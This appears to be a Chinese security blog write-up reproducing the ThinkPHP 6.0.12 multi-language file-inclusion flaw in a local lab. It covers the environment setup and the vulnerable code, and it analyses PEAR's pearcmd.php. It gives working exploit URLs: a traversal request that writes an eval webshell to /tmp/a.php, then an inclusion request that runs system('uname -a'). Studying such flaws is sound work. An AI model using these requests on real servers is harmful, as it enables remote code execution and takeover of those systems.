前言 无。
漏洞影响 
环境搭建 使用composer安装时无法安装历史版本,所以直接去GitHub 下载6.0.12版本。
然后解压到/var/www/html,再修改一下composer.json里面配置的framework版本为6.0.12:
1 2 3 4 5 "require" :  { "php" :  ">=7.2.5" , "topthink/framework" :  "6.0.12" , "topthink/think-orm" :  "^2.0" } , 
然后运行composer install完成安装,可以使用ThinkPHP6.0.12。
最后开启多语言配置,修改app/middleware.php,将这一行去掉注释:
1 2 \LoadLangPack ::class ,
按理来说漏洞应该已经可以利用了,但是打不通,看代理也看不出什么东西来,所以直接上xdebug远程调试。
APT安装的xdebug3会有兼容性问题,一些配置已经变更了,如remote_port等配置,在phpinfo里已经显示为:
1 (setting  renamed in  Xdebug 3 )	
看起来换了个名字,所以选择手动下载 编译安装,然而它又要php7。
太麻烦了,但是docker镜像有网络问题,只能开个vultr把镜像打包回来了。
先安装dockers.io,然后下载php镜像:
1 docker  pull php:7 .4 -apache
打包:
1 docker  save 20 a3732f422b > php74.tar
通过sz命令和xshell下载到本地后导入:
启动镜像,换源安装xdebug 修改php.ini并重启,在phpinfo看到xdebug消息后再配置好phpstorm的调试端口、文件映射和远程服务器就好了。
可以看到,文件包含的路径为:
1 /var/ www/html/ think-6.0 .12 /vendor/ topthink/framework/ src/lang/ test.php
看来确实是可以利用的,只是要跳的目录比想象的要多而已:
1 http ://192.168.88.129 /think-6 .0 .12 /public/?lang=../../../../../test&XDEBUG_SESSION_START=13537 
漏洞分析 看起来是多语言环境下通过直接文件包含的方式引入对应语言的语言包。
由于没有做目录跳转过滤,所以导致了文件包含漏洞。
漏洞利用 详见参考文章,docker环境/register_argc_argv开启且环境存在pear的情况下可以通过pear写入文件并包含。
pear文件位于/usr/local/lib/php/pearcmd.php,可以看到首先使用:
1 $argv  = Console_Getopt ::readPHPArgv ();
获取输入参数,即:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public  static  function  readPHPArgv (global  $argv ;if  (!is_array ($argv )) {if  (!@is_array ($_SERVER ['argv' ])) {if  (!@is_array ($GLOBALS ['HTTP_SERVER_VARS' ]['argv' ])) {$msg  = "Could not read cmd args (register_argc_argv=Off?)" ;return  PEAR::raiseError ("Console_Getopt: "  . $msg );return  $GLOBALS ['HTTP_SERVER_VARS' ]['argv' ];return  $_SERVER ['argv' ];return  $argv ;
也就是说通过$_SERVER[‘argv’]可控,然后做了一系列更多的处理,比如通过array_shift删除了第一个元素:
此外,根据参考文章,可以知道$_SERVER[‘argv’]截取参数的方式跟一般URL截取不一样,是用+截断的。所以可以将lang等无关参数放在前面用+截断,这样就不会影响利用了。
pear的config-create命令可以用于创建新文件,该命令的输入参数可以在PEAR/Command/Config.php里面找到:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 'config-create'  => array ('summary'  => 'Create a Default configuration file' ,'function'  => 'doConfigCreate' ,'shortcut'  => 'coc' ,'options'  => array ('windows'  => array ('shortopt'  => 'w' ,'doc'  => 'create a config file for a windows install' ,'doc'  => '<root path> <filename> Create a default configuration file with all directory configuration variables set to subdirectories of <root path>, and save it as <filename>. This is useful especially for creating a configuration file for a remote PEAR installation (using the --remoteconfig option of install, upgrade, and uninstall). ' ,
只有两个参数,第一个参数为写入文件路径,第二个为文件名,暂时不清楚文件内容要怎么控制。
找到具体的写入函数doConfigCreate:
1 2 3 4 if  (count ($params ) != 2 ) {return  PEAR::raiseError ('config-create: must have 2 parameters, root path and '  .'filename to save as' );
首先限制参数数量为2,然后:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 $root  = $params [0 ];$ds2  = DIRECTORY_SEPARATOR . DIRECTORY_SEPARATOR;$root  = preg_replace (array ('!\\\\+!' , '!/+!' , "!$ds2 +!" ),array ('/' , '/' , '/' ),$root );if  ($root [0 ] != '/' ) {if  (!isset ($options ['windows' ])) {return  PEAR::raiseError ('Root directory must be an absolute path beginning '  .'with "/", was: "'  . $root  . '"' );if  (!preg_match ('/^[A-Za-z]:/' , $root )) {return  PEAR::raiseError ('Root directory must be an absolute path beginning '  .'with "\\" or "C:\\", was: "'  . $root  . '"' );
第一个参数要以/开头,不然就会有正则表达式的校验。然后开始写入文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 $config ->noRegistry ();$config ->set ('php_dir' , $windows  ? "$root \\pear\\php"  : "$root /pear/php" , 'user' );$config ->set ('data_dir' , $windows  ? "$root \\pear\\data"  : "$root /pear/data" );$config ->set ('www_dir' , $windows  ? "$root \\pear\\www"  : "$root /pear/www" );$config ->set ('cfg_dir' , $windows  ? "$root \\pear\\cfg"  : "$root /pear/cfg" );$config ->set ('ext_dir' , $windows  ? "$root \\pear\\ext"  : "$root /pear/ext" );$config ->set ('doc_dir' , $windows  ? "$root \\pear\\docs"  : "$root /pear/docs" );$config ->set ('test_dir' , $windows  ? "$root \\pear\\tests"  : "$root /pear/tests" );$config ->set ('cache_dir' , $windows  ? "$root \\pear\\cache"  : "$root /pear/cache" );$config ->set ('download_dir' , $windows  ? "$root \\pear\\download"  : "$root /pear/download" );$config ->set ('temp_dir' , $windows  ? "$root \\pear\\temp"  : "$root /pear/temp" );$config ->set ('bin_dir' , $windows  ? "$root \\pear"  : "$root /pear" );$config ->set ('man_dir' , $windows  ? "$root \\pear\\man"  : "$root /pear/man" );$config ->writeConfigFile ();$this ->_showConfig ($config );$this ->ui->outputData ('Successfully created default configuration file "'  . $params [1 ] . '"' ,$command );
将第一个参数写入了第二个参数代表的文件里,所以第一个参数实际上就是文件内容。
简单测试一下,访问:
1 http:// 192.168 .88.129 /think-6.0.12/ public/?lang=../ ../../ ../../ ../../ ../../u sr/local/ lib/php/ pearcmd&+config-create+/Twings+/ tmp/a.php
可以看到/tmp/a.php里面写入了多次第一个参数,实际上是一个PHP序列化数据:
1 2 a :12 :{s:7 :"php_dir" ;s:16 :"/Twings/pear/php" ;s:8 :"data_dir" ;s:17 :"/Twings/pear/data" ;s:7 :"www_dir" ;s:16 :"/Twings/pear/www" ;s:7 :"cfg_dir" ;s:16 :"/Twings/pear/cfg" ;s:7 :"ext_dir" ;s:16 :"/Twings/pear/ext" ;s:7 :"doc_dir" ;s:17 :"/Twings/pear/docs" ;s:8 :"test_dir" ;s:18 :"/Twings/pear/tests" ;s:9 :"cache_dir" ;s:18 :"/Twings/pear/cache" ;s:12 :"download_dir" ;s:21 :"/Twings/pear/download" ;s:8 :"temp_dir" ;s:17 :"/Twings/pear/temp" ;s:7 :"bin_dir" ;s:12 :"/Twings/pear" ;s:7 :"man_dir" ;s:16 :"/Twings/pear/man" ;}root@aa22a86de98a:/usr/local/lib/php# 
然后写入一句话,为了防止浏览器自动编码,使用BP发包:
1 /think-6.0.12/ public /?lang=../ ../../ ../../ ../../ ../../u sr/local/ lib/php/ pearcmd&+config-create+/<?=@eval($_REQUEST['cmd']);?>+/ tmp/a.php
写入成功,最后包含利用就行了:
1 /think-6.0.12/ public /?lang=../ ../../ ../../ ../../ ../../ tmp/a&cmd=system('uname%20-a' );
可以看到回显:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 13 :{s:7 :"php_dir" ";s:8:" data_dir";s:40:" /Linux aa22a86de98a 5.15 .0 -58 -generic ";s:7:" www_dir";s:39:" /Linux aa22a86de98a 5.15 .0 -58 -generic ";s:7:" cfg_dir";s:39:" /Linux aa22a86de98a 5.15 .0 -58 -generic ";s:7:" ext_dir";s:39:" /Linux aa22a86de98a 5.15 .0 -58 -generic ";s:7:" doc_dir";s:40:" /Linux aa22a86de98a 5.15 .0 -58 -generic ";s:8:" test_dir";s:41:" /Linux aa22a86de98a 5.15 .0 -58 -generic ";s:9:" cache_dir";s:41:" /Linux aa22a86de98a 5.15 .0 -58 -generic ";s:12:" download_dir";s:44:" /Linux aa22a86de98a 5.15 .0 -58 -generic ";s:8:" temp_dir";s:40:" /Linux aa22a86de98a 5.15 .0 -58 -generic ";s:7:" bin_dir";s:35:" /Linux aa22a86de98a 5.15 .0 -58 -generic ";s:7:" man_dir";s:39:" /Linux aa22a86de98a 5.15 .0 -58 -generic ";s:10:" __channels";a:2:{s:12:" pecl.php.net";a:0:{}s:5:" __uri";a:0:{}}} 
参考 ThinkPHP V6.0.12LTS多语言模块RCE 
ThinkPHP6如何实现多语言网站搭建 
Docker PHP裸文件本地包含综述 
利用pearcmd.php文件包含拿shell(LFI)